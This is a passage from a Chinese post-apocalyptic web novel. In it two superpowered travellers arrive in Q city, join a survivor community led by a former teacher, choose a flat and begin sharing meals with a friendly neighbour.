两秒后重新下落，但这次已经被卸去了大部分动能，相对来说平稳地落了地，应该顶多是擦破点皮的地步。 而与此同时, 江朗和陆燃, 还有唐清梦以及白柏, 都顺利地依靠二段跳平稳地落了地。 唐清梦和白柏脸上都是显而易见的兴奋, 刚刚的大起大落又大起实在让他们无法再维持高强度的心理封锁，那两张从进空间泡开始就在努力维持扑克脸的脸现在一整个可以称作喜气洋洋。 “真的成功了！” “还好有你们在, 不然鬼知道我们要在这个鬼地方被困多久！” 不过兴奋归兴奋, 隐私和距离归隐私和距离，两个人兴奋完之后说了好几句“有缘再见”, 却也愣是一点没透露自己之后要去哪, 也没问陆燃和江朗之后要去哪。 那两个女孩拍了拍自己摔到地上后沾到的泥土后，就立刻朝这个方向跑了过来。 她们俩死里逃生又死里逃生, 脸上倒是看不出一点惊恐的痕迹, 全是兴奋。 “老大！” “谢谢两位老大！大恩不言谢只能说救命之恩没齿难忘！” “以后如果老大们有用得上我们的地方只要我们还活着一定万死不辞！” 被一顿抱拳加老大轰炸的陆燃和江朗：“……” 有点黑线, 回忆起了很多奇怪的人啊…… 这俩姑娘江湖气有点重啊…… 陆燃沉默地看向江朗, 双眼中意思很明确——你来处理。 江朗挠了挠头，又挠了挠头，终于憋出来一句： “别万死不辞的……好好活着就算我们没白救你们一场……” 江朗抓耳挠腮才憋出来的这么一句话, 刚说完他就忍不住打了个寒颤，怎么感觉自己突然长了好几个辈分。 陆燃在他背后忍不住笑了。 送别两对人，陆燃和江朗走了半天终于找回了自己的车，两个人上车之后先把进空间泡之前开的可乐喝完了——虽然已经漏气得快没气了，但可乐毕竟还是可乐。 然后继续启程前往Q市。 接下来的旅程倒是没出什么意外，如果再进一次空间泡，江朗就真的该怀疑人生了。 开了好几天，Q市终于到了。 Q市在末日前是个小城市，人口也密度不高，在陆燃的判断内应该自发形成的基地。 所以他决定和江朗先来这边碰碰运气. “好安静。” 江朗有些困惑地看着周围。 Q市的建筑风格比较老旧，偏向世纪交际之时的感觉，个别楼也不知道是末世来了之后遭受了污染物的摧残，还是本来就这么一副摇摇欲坠随时要塌的样子。 他们进了Q市之后，江朗就降下了开车速度，边开边观察周围的环境。 但是好安静……好空…… 不是指没什么人的空，毕竟都末世了，指望街上还有人在走动多少有点不切实际了，而是指没什么污染物的空。 “有吗？” 江朗扭过头来问陆燃，陆燃摇了摇头。 陆燃刚放完一个精神链接，什么都没探测到，之前一段距离里他倒是揪到了一只小污染物，但是该怎么形容呢，弱到杀它都觉得有点不好意思的那种。 Q市当前的污染物密度，比他们精心打扫过的C市可能都低，虽然C市那地方，环境太“优越”了，其他地方本来就不可能有它的污染物密度。 但是还是太低了，低得不合常理。 有两个可能。 一是Q市所有的异能者像C市一样团结一致了起来，将整个城市的污染物都清理得七七八八了。 二是Q市已经进化出了一个统治范围足以笼罩全市的污染物。 一显得不切实际，二听起来略惨烈。 “难道说污染物不喜欢高架的环境？等我开下去。” 江朗倒是有别的猜测，高架实在不是什么住人……住污染物的好地方，高架上的存活者肯定也会优先跑到别的地方去，污染物不爱在这晃悠不是很正常吗？！ 他绕过高架上这一大堆的停得七扭八歪的车，把车开了下午。 不过就算进入了住宅区，污染物的密度也就稍高一些而已。 稍高的意思是一栋居民楼里可能有一到两个污染物的水平。 而且没人，高架上没人很正常，进入末世已经一个多月了，但是下面的住宅区也完全没有幸存者就有点糟糕了。 感觉要做好面对高级污染物的准备了。 陆燃随手扔着精神链接，倒是没什么紧张情绪，Q市这种小城市，就算举全市之力，能升级出来的污染物也就那样。 就当给他和江朗补充悲惨逝去的晶体储备了。 江朗努力回忆着上辈子来Q市时自己是从哪条路进他们的基地的。 “咦？这个商场很眼熟啊，我记得上辈子的时候，Q市这边的基地把这玩意儿改造成临时伤口处理处了，应该就是附近了。” 江朗有些兴奋，很可惜他的兴奋没能维持多久，因为他沿着熟悉的地标转了一圈之后，并没能找到熟悉的基地，周围都空旷得要死。 “看来高级污染物的可能性越来越大了。” 陆燃淡淡地吐出一句。 江朗：“好吧……来都来了，干脆找找这个污染物在哪，你那个火苗也该喂了。” 陆燃点点头，然后，他手上这个精神链接刚扔出去，他扔技能的方向侧边就有大叫声响起：“有敌袭——有敌袭——！” 陆燃和江朗齐齐扭头。 这是两座基本可以称得上毗邻的小区，他们清理污染物一向都是按区域慢条斯理地清理，一个小区一个小区来这样的，可能是他的精神链接不小心蹭到了隔壁小区的人吧。 不过居然有人。 这还是他们进入Q市以来第一次见到活人。 太好了，原来不是死城。 隔壁小区的保安亭里瞬间窜起了好几个身影，一个个抓起铁棒钢管之类的东西就冲了出来。 陆燃和江朗当场下车举手投降： “我们是人，开车路过，想进来找找有没有幸存者。” 急匆匆窜出来的几个人瞬间睁大了眼睛。 “路过？你们从哪来的？” “C市。” “我靠！！这也叫路过？？” “这么远？？？现在外面什么情况，是所有地方都……这样了吗？” 这个人明显比较乐观，就算周围都这样了，电和信号也都没了，他还是抱着一线希望这只是他们这个城市的特例，只要熬过去就会有大部队来把他们救出去…… 可惜，陆燃和江朗无情地打破了他最后的幻想： “嗯，全都污染了。” “好……好吧……” 轮到江朗和陆燃反问了： “你们这边什么情况？怎么外面那么像鬼城？” “哦……我们这啊，那什么那天，你懂的，老大刚好在这个小区附近上班，觉醒了异能之后就把这片清了出来，之后老大又在市区里到处救人，幸存者全都聚集在了这个小区，然后因为幸存者会吸引污染物——老大说的，所以老大花了点时间把整个城市都稍微清理了一下，所以现在外面比较空。” “我们老大的异能可厉害了，也就是老大现在在睡觉，要不然应该早就发现你们来了。” “原来如此。” 江朗有些恍然，Q市情况和他上辈子印象不太一样应该是这个阶段城市里只有Q市本身的幸存者，就只占了这么个小区，还没发展到后面一个基地有小半个城市那么大的情况。 不过倒是没听说过有这么一个老大……后来发生了什么？ 除了他们居然还有人在末世里积极救人，听起来这位老大威望很高，就算后来不幸战死，应该也会有故事流传下来才对，为什么他来的时候根本没听说过？ “不过你们下次别对自己人乱放异能哦，老大最讨厌自己人起矛盾了。” 拎着铁棒的保安（？）好心提醒。 “好的没问题。” 陆燃从善如流，这城市看起来秩序不错，安全程度也很高，他也没必要去哪都先丢个精神链接。 突然间，跟他们说话的这群人手里的钢管铁棒都震动了起来。 江朗困惑地问：“没事吧？” “哦哦没事没事，老大醒了而已。” “小李，你带两位客人去见老大吧。” 被喊作小李的人走了出来，招呼着陆燃和江朗往小区里面走。 走进小区里，陆燃和江朗第一眼看到的就是小区中间的花园。 不知道本来种的是什么，但是现在全被扒拉了种上了小青菜，韭菜，葱，还有大蒜。 江朗一拍手：“来对地方了！你看这个基地就很有生活气息！” 陆燃：“嗯。” 再往里走，他们就发现这个小区确实治理得很好，全是健身器材的那个公园里，还有老人带着小孩在锻炼——这确实得极度的信任才能在末世里随便出来走动，就算知道污染物已经被“老大”消除了，其实大部分人的本能应该还是能留在房间里就留在房间里，毕竟危险过去也就一个多月，只能说这里的居民非常信任这位“老大”。 或者也可能就是单纯真的憋不住在家呆着。 他们跟着小李走到了最里面的一栋楼，然后小李敲了敲101的门： “老大，你醒了吗？有两个从C市来的客人。” “嗯？C市？” 门打开了。 露出了一个身影。 这位老大该怎么形容呢…… 江朗看见她的一瞬间，就忍不住挺直了脊背，下意识抹了把头发想看看头发长度。 这位老大，长了一张数学老师兼职班主任的脸，可能还有点教导主任气质。 “您好。” 江朗下意识地用上了敬语。 陆燃不禁侧目。 老大也忍不住笑了，她本来还有些担心外来者，没想到外来者居然是这样两个半大孩子。 “进来吧。” 她彻底拉开门，让陆燃和江朗走了进来。 她的这间屋子乱糟糟的，地上洒满了纸，有张红木桌的办公桌，旁边有俩小板凳，陆燃和江朗就坐在了这两个板凳上面。 “咳……不好意思，我这没什么人来，我去给你们搬两把椅子。” 江朗连连摆手：“不用不用。” 陆燃也觉得无所谓，这小板凳还挺舒服的。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 第 61 章 海岸小区 不过这位老大显然是个习惯了独断专行的人, 压根没关心他们要不要，直接就从里间掏出了两把椅子来。 “谢谢……” “谢谢。” 老大在她的办公桌后坐下后，问： “你们从C市过来？” “嗯。” “C市怎么样了？那边还好吗？人口密度那么高, 应该死伤比较惨重吧。” 闻言，江朗不禁脸色一黯：“是的, 我们尽力救了一些人, 不过整体上伤亡率还是非常高。” “……唉，辛苦了。” “你们来Q市这边是有什么打算？路过补充物资吗？整座城市的物资大部分都被我搬到小区的地下车库了，你们去外面找是找不到的，你们缺什么东西跟我说一下吧, 我看看能不能尽可能匀一些出来。” “不不不——我们不是来找物资的, 其实我们是想在这边住一段时间, 因为老在路上流浪也不是个事, 还是想有个地方住的，您应该能懂这种感受吧。” “如果有什么帮得上忙的地方, 我们也会尽量帮, 作为收留我们的报答！” 老大有些惊讶地微微张嘴：“这样吗……” 她一时间陷入了思考： “我们这里还是头一次有外来者，也许作为第一次, 还是趁机理个章程出来比较好, 以后再有外来异能者就方便处理了。” 她口中嘟囔着扯了张草稿纸出来，然后开始在草稿纸上写写画画。 江朗和陆燃就这么被晾在了一边, 面面相觑。 不过江朗还挺习惯这种事了, 以前被叫到数学老师办公室去的时候, 数学老师就经常说着说着就开始埋头做自己的事, 然后突然反应过来他人还在这，然后接着和他说话。 某种意义上来说……还挺亲切的。 他俩安静地等了几分钟，“老大”终于写完涂完了。 她抬起头：“来, 你们两个孩子帮我参谋一下这样行不行。” “以后如果有外来者，不管是异能者还是普通人，都可以享有和原住民同等的物资分配，但是同样的，也要做应该的工作，异能者可以选择守卫小区，也可以和我一起出去杀污染物找物资。” “普通人可以选择种地，然后每个外来租户都需要上交十枚……算了，五枚吧，五枚晶体做抵押，普通人应该是拿不出来的，所以就纯算赊账，按计分制还上，唉……好像也该搞个计分制出来了，现在小区里还是乱糟糟的原始的以物易物状态。” “你们觉得这听上去合理吗？我希望能达成一种，既不会让人觉得自己不受欢迎，又不会引来一些糟糕的人的中间态。” 江朗和陆燃对着她的草稿纸思考讨论了一下：“看起来应该没什么问题。” “那就好……我这段时间睡得太少了……脑子不太灵光了。” 陆燃和江朗齐齐开始从口袋里（其实是从背包里）掏晶体，刚掏出来，就听到对面说： “哦，你们两个是我们海岸小区的第一批租户，开业优惠，晶体抵押就不用了，欢迎入住。” 老大朝他们笑了笑。 “说实话，你们能出现真是太好了，我一个人真的有点快撑不住了，这些污染物……简直就像是除之不尽的一样，不管我怎么尽力，总会出现新的污染物，我不可能一个人管到所有地方。” 她忍不住叹了口气。 过去的这一个多月里，自从她觉醒了异能，她就很少睡觉，基本一天只有两小时的睡眠时间，如果不是异化过的这具身体够强悍，她觉得自己早就猝死了。 而且休息的时候也休息不安心啊，一想到她在睡觉的时候，外面可能还有人在担惊受怕，或是她多休息一分钟，就可能错失救下一个人的机会，一想到这，她就再也睡不着了。 在外面奔波虽然累，但至少上心理上不会那么难安。 而且总把大家困在一个小区里也不是个事，她的目标是把这座曾经的城市至少清理出小半来，让大家有更多的活动空间。 问题就在于这个目标不是那么好实现，就像她所说的那样，污染物简直除之不尽，有点像野草，春风吹又生，明明她已经扫荡过一遍又一遍了，第二天再去看就又莫名其妙冒出来了不少污染物，而且它们在一天天变得更强大，更难缠。 小区里除了她以外还有十几个异能者，太少了，现在只有一个小区他们还能形成一个较为完整的防线，一但扩张开去，这些人手就不够了，如果真想将大家的活动范围扩展到小半个城市的大小，那就需要有更多的异能者。 而且他们现有的异能者，都不是什么特别强大的异能，比起战斗力，更有用的应该是他们作为异能者不会受到污染这一点。 因此她也不敢给他们派太危险的任务。 就给了他们两件事。 一件事是就是管好小区的几个入口，轮流值班，遇到难度不高的污染物就尽量解决，解决不了的就喊她——她觉醒的异能是金属掌控，不光是可以控制金属移动这么简单，凡是她感应范围内的金属，都可以作为她的眼睛和耳朵，所以她和这些负责巡逻的小年轻们约定好了，如果碰到解决不了的怪物，就快速敲三下他们手里的金属武器，然后她就会接管他们手里的武器，进行攻击。 这也算是一种节约她脑力的方式吧，总不能真的时时刻刻都看着所有能看的地方吧。 虽然这样也会有漏，但是已经是她能做到的最好的平衡了。 另外一部分人，则被赋予了看管那片菜园的责任，从海岸小区稳定下来之后，她就开始组织大家把花坛里的绿化都拔了来种菜，毕竟外界的物资是有限的，而且不吃新鲜的菜对人也不好——她是老派人，觉得罐头没营养。 但是问题就在于，菜容易长着长着就突然变成污染物了。 只能派人看着，也幸好这些菜变成污染物一般都不怎么强大，而且都是同一类污染物，他们打着打着也就习惯了。 真要出现什么他们解决不了的异变，那就依旧是交由她来解决。 总而言之，小区很缺很缺人手，缺到一种，她完全不敢休息的地步。 这样的生活其实压力真的很大，她也不知道自己是怎么坚持下来的。 而且Q市虽然她已经探查过了一遍，应该是将所有的幸存者都转移过来了，但是Q市周边还有许多小镇她没法去。 因为她的金属掌控范围并没有那么远，而且她的速度也没那么快，她走得太远的话，就没法确保海岸小区的完全安全，没法感应到发生了什么事，如果遇上不能光靠远处遥控武器解决的场面，她也没法及时赶回来。 可以说顾了这头顾不了那头吧。 所以她一直希望能有几个帮手。 不，不是帮手，她希望能有几个志同道合的人。 能够理解她救人的愿望的志同道合的人。 这两个小伙子从C市过来，这就证明了他们的实力，他们在C市都试图救人而不是只想着自保——就连她都可以大致可以想象C市的混乱状态了——可见心地善良又有实力。 她希望能邀请他们加入他们海岸小区，尽量把Q市发展成一个在末世里也可以让大家安心生活的地方。 她起身开始在书架上找本地地图，一边找一边说： “我的异能是金属掌控，除了可以控制金属去攻击以外，还有点别的用处，比如，如果这个房间里有金属，我就能从别的地方看见里面的情况，可以当一个简单的探查技能使用，不过毕竟也是靠眼睛，说实话，我没法保证我没有漏掉任何一个幸存者。” 江朗：“哦哦好……” 他有点不适应别人上来就报自己的异能，还是这么详细版本的能力，毕竟他在末日里待太久了，已经习惯了所有人都对自己的异能藏着掖着了，尤其是金属可以当眼睛用这种从外部攻击完全看不出来顶多可以推测的属性。 但是真心换真心，他决定也给这位长相气质都酷似他数学老师的中年女士透个底，不然太不公平了： “我的异能是攻击类的，前摇有点长，但伤害还是挺高的，另外一个异能是再生，受到伤害后，只要不是一次性的致死伤害，都能慢慢恢复。” 陆燃紧跟着补充：“我是精神控制类的异能，在探查幸存者方面确实比较有优势，如果有需要的话，我可以再把整个Q市查一遍。” 闻言，老大立刻转过了身，她严肃但又难掩激动地说：“那可真是……太好了，我其实一直很担心会不会有遗漏的幸存者，毕竟大部分人面对这种情况，如果活了下来，肯定也会尽可能地将自己藏起来，如果电器还能用的话我倒是还能考虑拿个大喇叭或者收音机去到处喊……” 她一顿，然后忍不住笑了笑：“我还以为我的异能已经够厉害了，没想到山外有山人外有人，怪不得你们能从C市出来呢。” 她将地图摊开在了桌上，然后拿起了笔筒里的红笔。 她点了点地图上的一个位置：“我们现在在这里，我的金属掌控范围大概是这么个范围。” 她在地图上画了个圈。 “所以超出这个范围外的人，我就基本不能去救，因为如果小区这边有事的话，我会没法及时响应。” “我一直很担心这个范围外的人还有没有活着，现在有了你们，我也总算可以顾及到这片圆以外的区域了。” “如果可以的话我希望你们能和我分管这两件事，留守基地和出去救人。” “你们看看是想留在小区还是去外面？如果你们想留在小区的话，就拜托你们多看着点小区的情况……如果你们想出去的话就反过来。” “或者轮换着来也行。” 说完还没等江朗和陆燃做出任何回答—— “你们刚赶路过来，应该更想好好休息一会儿吧，那就你们留下，呆闷了也可以去周围看看有没有我遗漏的幸存者，你们觉得呢？” 陆燃注意到，对方虽然语气温柔，且一直用的问句和商量的语气，但她应该罕有被人拒绝的经历，一句话讲出来就已经默认了对方一定会同意，态度上近乎有一种温柔的专制感。 不过他对此不算反感，感觉只是对方的职业病。 江朗和陆燃：“我们觉得这样挺好。” “好，还有什么其他问题吗？” 江朗举手：“有，您在末日前是老师吗？” 老大愣了一下，然后忍不住笑了起来：“这么明显吗？” “是的，我是老师。” 她指了指自己的窗口： “那边就是我教书的地方，末世来的时候，我刚好在学校里，然后那时候我昏过去了，可能是因为觉醒异能什么的吧，醒来的时候学校里已经没剩几个活着的人了，毕竟学校太空旷了，不好躲，一些学生逃到了音乐教室美术教室这种地方才活下来。” “其实我本来不住这，但是这里离学校比较近，而且海岸小区之前有栋房拆了要重修，有很多钢筋，取材比较方便，所以我就把这边腾了出来安置学生，然后因为已经腾出了地方，后续就也一直把救出来的人往这边放了。” “大概就是这样吧。” “原来如此。” “你们两个从C市过来很辛苦吧，还是先休息一下吧，小区里现在空着的屋子还挺多的，我看看……” 她抽出一张手写的表格：“没划线都可以住，你们随便挑一间吧。” “哦对了，我姓张，那群小年轻叫老大……我挺为难的，你们两个愿意的话，就喊我一声张老师吧。” 第62章 第 62 章 拎包入住 陆燃扫了眼那张表格, 示意江朗他已经记住了。 江朗松了口气，他记忆力一向一般，这看一眼他能记住十来个门牌号就不错了, 但是这手写的表格又不是打印的，也不好意思直接拿走, 如果这里就他一个人的话, 他估计应该已经在挠头问张老师借笔现场抄了。 幸好有陆燃这个人肉扫描仪在，凡是他看过的东西，就直接能记在脑子里，省得他这个弱智费心了。 两个人和张老师道别后, 走了出去。 江朗颇有些兴致勃勃, 这和他以前入住基地的感受大不相同：“我们从哪看起？” “这栋楼的空房比较少, 估计是这边的人觉得住在强大的异能者身边比较有安全感吧, 基本就没几间空房，人太多了, 我们换一栋吧。” “好好好。” 虽然江朗觉得人多不是个劣势, 他一直挺爱和人说话的，不过他知道陆燃不喜欢太多人, 而且陆燃浅眠, 如果周围的邻居是哪种比较吵闹的类型，他就会很暴躁, 所以他们最好找个四周都没啥人的屋子住。 两人走出这栋楼, 朝对面一栋比较偏僻的楼走去。 “104, 空着的。” 江朗自觉地从口袋里摸了摸, 摸出了一根回形针，然后伸进锁里捣鼓了几下： “老式锁，还挺好开。” 江朗一边说一边推开门往里走。 他视线扫过房间内的摆设, 在末世以前，这里住的应该是一家三口，房间布置非常温馨，甚至有些逼仄，不大的客厅里放了一个沙发两个沙发椅，一张餐桌，上面铺着哆唻A梦的桌垫，桌垫看上去有段时间没洗了，角落里还有一大一小两辆自行车，小的那辆还有卡通喷漆。 江朗的神色忍不住有些黯淡。 陆燃关心的则是别的，他走进厨房和浴室，看了下水管有没有破裂的问题，虽然现在小区还是停水停电状态，但之后他们把这个城市差不多整理完之后，电重启不了，水没准还是能重启的。 所以水管的完整性就很重要了。 “水管挺好，还有过滤器，这间屋子还不错。” “那就这间？” “再看看吧。” 江朗没意见，陆燃说想再看看那就是再看看，陆燃考虑事情一向比他周全，有陆燃在的时候，他的大脑直接下线都没事，所以他确实就让他的大脑下线了。 陆燃一边往外走一边问： “我看张老师计划的大方向，Q市这个基地应该后续会发展得比较和缓而且稳定才对，她的异能也确实够强，镇得住所有人，怎么在你的描述里，Q市后面还挺乱的。” “哦！这个我刚刚就想说了，没法当着她的面讲……咦？等等，她是不是能监测所有有金属的地方……我们是不是该换个地方说？” “不太可能全程开着监控，对大脑负担太大了，我有游戏属性加持，同时用精神链接控制太多人的话，也只能持续一段时间，她估计大部分时间也只能单点或者挑几个重要的地方监控，这里有别的事更值得她注意，应该不太会来管我们两个说了什么。” “而且她应该不是那种人，她估计会觉得偷听我们讲话是一种不尊重的行为，所以反而会刻意避免这种情况发生。” 江朗点点头，其实他自己是个矛盾体，他一边知道防人之心不可无，一边又总是下意识相信别人，所以反而导致上一世他经常会纠结面前的人可不可以信任，最后的结局通常是信错人然后忍痛把对方杀了，他真的不想再自己判断这种事了。 陆燃这么说，他总算放下了心。 “对，我之前就想说，Q市情况和我想象的很不一样，而且我上一世过来这边的时候，管理者不是张老师，我甚至都没有听说过她的存在。” “上一世Q市是一个很典型的正常基地，所有事都优先异能者，普通人基本没什么存在感，顶多算是勉强有些生存空间，没有刚刚听张老师描述的那么乌托邦。” “看来中间发生了一些事。” “是啊……但是我不理解，这里所有人都是张老师救下来的，照理说她的威望应该很高才对，这样一个环境里怎么会换管理者……难道是她发生了什么意外？” “再大的恩情也无法永远留在人心中，甚至有时候救命之恩过重，人的心理为了平衡这种负担，还会将感激与愧疚转换为憎恨，才能让自己毫无负担地继续生活下去。” 江朗想了一下：“还真是，没事，我们俩就在这看着，我看看是哪个知恩不图报的家伙搞事，把他顺手搞下去就完事了。” 陆燃笑了一下，他本来想说江朗太天真，这种事一般不会是因为一只害群之马，不过他也暂时不想把人想得太坏，等事情发生了再说吧，没准真的像江朗想的那么简单，是只用解决一个人就行的事呢。 两个人只是简单地讨论了下这件事，接下来的时间基本还是在看房，看了一间应该是独居宅男的房间，里面乱得江朗刚撬开锁就又给他关上了，这还是算了吧……光打扫卫生就得折腾好久，他们是来休息的，不是来做钟点工的…… 无独有偶，下个看起来是个独居女生的房子，也不知道是本来就那样还是她变成污染物之后打翻了柜子，地上是一堆撒了的瓶瓶罐罐。 江朗礼貌地关上了门，这个打扫难度看上去更高。 下一间房更是不得了，看起来是个双胞胎家庭，而且双胞胎年纪应该很小，江朗和陆燃只看了眼，就觉得还是算了，这家具都没几个能回收利用的。 看到最后，居然还是最开始看的那间房最靠谱。 于是他们俩回去了，问了下张老师钥匙在哪，拿到钥匙之后就正式入住了。 江朗向后一跃，直接跳上了床： “舒服！” “我不行了，在车里睡觉真的有点折磨，这床真舒服，还是有生活经验的人挑床有水平，我们之前租的那个公寓，床硬得睡上面像坐牢。” 陆燃：“确实。” 他一边说着确实，一边嫌弃地把江朗扒拉了起来：“先换床单，就算这上面没死过人，也是别人睡过的，而且至少也有一个月没换了，全是灰尘，你怎么躺得下去。” 江朗：“好的好的。” 他很想说，他早已习惯了只要没有明显的血肉他就可以当这东西是干净的思维模式…… 不过他知道陆燃有点洁癖在的，赶紧顺从。 陆燃打开抽屉，在里面翻了半天，才翻到一套灰色的床单被套，其他的都太花里胡哨了，他看着头疼。 然后拉江朗一起换了床单，套了被套之后，才躺下。 “嗯，确实很舒服。” “是吧是吧……我们明天出门的时候可以拿被子出去晒晒，Q市这边基本不下雨的，应该没事。” “好。” 两个人随便聊了会儿天，便沉沉睡去。 有那么一瞬间，在半梦半醒的那一瞬间，他们好像觉得自己回到了一切都还未发生之前。 第63章 第 63 章 平常与不平常 “早啊！” 江朗朝出门遇到的第一个人打了个招呼。 幸好他遇到的是个看上去四十多岁的中年人, 非常习惯这种随地大小早的行为，也很热情地和他招呼： “早！没看见过你们两个娃，是刚被张老师救过来吗？” 陆燃站在一边, 等着江朗回话，江朗是个爱说话的性格, 他可能永远理解不了这种爱好, 不过反正闲着也是闲着，只是站在这里听他们寒暄倒也没什么。 “哦哦不是，我们两个是自己过来的，想帮帮忙。” “！那你们是好人哦, 张老师可辛苦了, 你们要是能多帮帮她就好了。” “会的会的。” “真是厉害的年轻人啊……你们从哪来的？” “C市。” “哦哟！这么远？那可太厉害了！” 那中年阿婶眼中爆发出了好奇的光, 好奇地拉住了江朗, 一个劲地问他C市是什么情况，不光是末世后的, 还有末世前C市又是什么样子, 江朗捡了点有意思但又相对轻松的事给阿婶讲了一遍，阿婶听得津津有味, 正要问那从C市到Q市这段路上又怎么样了, 江朗就看见陆燃指了指右手手腕，虽然那上面没有表, 但江朗还是懂这是要他注意时间, 于是快速告别： “改天跟婶子你讲, 我和我朋友现在得去做事了, 张老师一个人忙不过来，我们帮帮忙也好给她争取点睡觉时间不是？” “好好好，正事要紧正事要紧, 你们去你们去，注意安全啊！那些怪物太吓人了……虽然你们这些……呃，叫什么，异能者不怕被咬，但是也要小心啊，受伤可不是开玩笑的，你们年轻人不要胆子太大，一切都还是以自己安全为主……” 婶子一看就是会唠叨的，一嘱托起来就没完了，幸好江朗是个耐心的人，她说一句他点一次头，终于等到了婶子的最后一句话： “你们去忙吧，中午来阿婶家里吃饭啊！阿婶以前可是开餐馆的，手艺老好了！” “哇，那可一定得尝尝阿婶的手艺！” 江朗美滋滋地和对方挥手告别，然后转头看向陆燃，两眼亮晶晶： “还有大厨，这Q市基地没白来吧？” 陆燃点了点头，抽出口袋里的地图：“我们从这边开始，朝这个方向走。” 江朗看了眼，点点头：“好，最快速度排查完一遍Q市就去跟张老师换班？” 他还记得他和陆燃选择来Q市是为了什么，就是图哪里都能去呗，还得给陆燃那团贪吃的火去打高级污染物，张老师也估计更想留守保护大家，到时候也算皆大欢喜了。 江朗发动车子，非常守秩序地从大门开了出去，顺便和保安亭里昨天几个见过的异能者打了声招呼。 他们沿着昨天排查的方向继续，不过什么幸存者都没找到。 于是看看天色快到中午了，江朗就又开了回来，他还惦记着阿婶说的要做饭给他们吃. “咚咚咚。” “咚咚咚。” 江朗敲完门之后有些紧张地看向陆燃：“会不会人家只是客套话……我们这样上门来吃饭真的好吗？虽然我拎了个西瓜，但是总感觉还是很唐突啊……” 陆燃：“你问我我问谁？” 江朗：…… 好吧，确实，他只是偶尔拿不准长辈之间的社交规则，陆燃可是干脆不社交的，他也是脑子出问题了才想要咨询陆燃这种问题。 幸好这道紧闭的门没让江朗紧张太久，门内很快传来了一阵快速的脚步声，伴随着阿婶的大声呼喊：“来了——来了——” 门砰的一下打开了，露出了阿婶那张年迈而乐观的脸庞。 “诶呦，来就来了怎么还这么客气！西瓜啊！现在哪还有西瓜吃，你们俩小年轻也是的，这种东西就留着自己吃啊！以后别瞎露富知不知道？不怕贼偷，就怕贼惦记，唉你们年轻人，唉你们年轻人……” 阿婶对于江朗和陆燃两人的生存哲学显然非常地忧愁，生怕这俩小孩哪天就被人骗了，或者更坏的情况下，被人抢了。 江朗没好意思说，上辈子一开始他确实经常被抢，他也只能忍痛把人都杀了……那之后他确实学会了不要瞎露富，不过也没什么用就是了，会盯上你的人怎么都会盯上你。 他只能顾左右而言他：“西瓜我们还有很多个啦……阿婶请我们吃饭我们总不能空手上门，直接切了当饭后水果吃了吧，我们三个在这里吃完了谁还能知道我有过西瓜，我们偷偷地吃就没问题了对不？” 阿婶被他说服了，不再念叨，转头走进厨房里开始端菜出来。 陆燃和江朗自觉地一块走进厨房开始拿筷子勺子。 阿婶还真是大厨，虽然现在条件简陋，食材基本来自海岸小区的地下库存，蔬菜还好，阴凉的地方还能保存新鲜的，肉类基本就没戏了，只有罐头方便存放一点——因此，张老师一直想给小区招募一个冰系异能者来着。 但就是靠着这些蔬菜和肉类罐头，还有小区分配的调料，阿婶愣是做出了好几道要卖相有卖相，要口感有口感的菜，江朗吃得就差把头埋进碗里了。 陆燃的口腹之欲不重，倒是吃得很慢条斯理。 阿婶越看他们俩越欢喜，一个吃得开心，一个吃得文雅，简直是饭桌上最让人看着就舒心的小辈了，她一时间也胃口大开，很久没人陪她这么一块在餐桌上热热闹闹地吃过饭了。 江朗从碗里抬起头来的时候，才终于想起要计算这顿饭的价值。 陆燃倒是早就趁进厨房的时候观察过了。 虽然早就知道海岸小区会给每个人食物分配，但是这种分配肯定不会多到真正可以称得上“物资充裕”的地步，陆燃进厨房的时候，第一反应就是扫视对方还剩多少食物储备。 肉罐头还好，还有一小排，但是蔬菜只剩下了一株大白菜。 更关键的是，他看了一下窗台上放调料的架子，上面只剩下了半拉姜。 吃饭的时候，他注意到其中一道蒜香空心菜阿婶完全没有吝啬大蒜的使用。 江朗说过，上一世到了后期，葱姜蒜这些调味品才是真正的一葱千金，比寻常的新鲜蔬菜更昂贵更稀有，也就是说，阿婶为了招待他们这一顿，可以说是下血本了。 阿婶随意地摆了摆手说： “害，菜不就是用来吃的吗？能用来招待你们，也算是这些菜用在了有价值的地方了。” “你们不也带西瓜来了吗？就这西瓜，不比几颗蒜金贵？” 虽然阿姨这么说了，但是江朗还是对自己一顿饭吃完了人家全部的蒜这件事非常愧疚，立刻开始在背包里翻找起来，试图立刻把这盘空心菜里的大蒜给阿婶补上。 “蒜，葱……大蒜苗，姜，辣椒，阿婶你看看还有没有什么需要的？我也不会做饭，也不知道还有什么调料比较重要……” 阿姨目瞪口呆地看着江朗凭空掏出来了一大堆东西，满脸费解：“这个是那什么异能吗？” 陆燃淡定地在一旁帮忙解释：“可以这么理解，我们两个各有一个空间可以保存物品，不会腐烂不会变质，所以我们在异变刚发生的时候存进去了很多新鲜食物，阿婶你拿着吧，我们有很多。” 阿婶倒吸一口凉气：“你们俩年轻人也太不把阿婶当外人了！你们……你们以后可千万别在谁面前都这么露了，万一有人盯上你们了要抢你们东西怎么办？” 陆燃微微一笑：“如果真有人想抢的话，大可以来试试。” 阿婶转念一想，有点恍然，还真是，她总是忘记现在时代变了，这俩年轻人看着文静瘦弱，但他们毕竟是那什么“异能者”，连张老师都看重的，担心他们的安全不如担心抢劫者的安全。 这么一想，阿婶又释然了，她松了口气。 陆燃：“阿婶，以后我们给你提供新鲜食物来做饭吧，要不然我们也不好意思来蹭饭了。” 阿婶：“那还是我占便宜了。” 江朗：“怎么会，阿婶的手艺这么好，占便宜的肯定是我们啊！” 一通商业互夸后，陆燃和江朗从此预定了每天出门“上班”，中午傍晚回来吃热乎菜的在末世堪称奇迹的日常生活。 他们之前存的新鲜食物终于有了用武之地。 本来还在犹豫就算到了有煤气的地方，他们两人又要由谁挺身站出来掌勺。 别管两人在游戏里的烹饪等级有多高，现实里都只是勉强能把生菜煮熟的水平。 又出去“巡逻”了一下午后，晚饭也在阿婶地方吃了，吃完后阿婶送他们俩下楼顺便自己出去饭后散步。 “哎呦——这不是敏敏吗？快让阿婶来抱抱！” 他们刚走出楼道口，就撞上了看上去像是一家三口的人。 粉嫩可爱的小孩，憨厚老实的中年男人，和慈爱的中年女人。 不过陆燃和江朗第一反应都是，这应该不是原装的，末世里一家三口都活了下来的概率太小了，可能是末世后重组起来的家庭吧，海岸小区的生活氛围还真的挺好的。 中年婶子一个猛子冲上前，抱起了那个可爱的小女孩。 小女孩看上去大概七八岁，这个天气穿着一件吊带裤，脸很圆很胖，而且粉嫩又红扑扑的，看上去简直像年画里走下来的，难怪婶子这么稀罕。 他身后站着的中年那女就那么慈爱地看着婶子怀里的孩子。 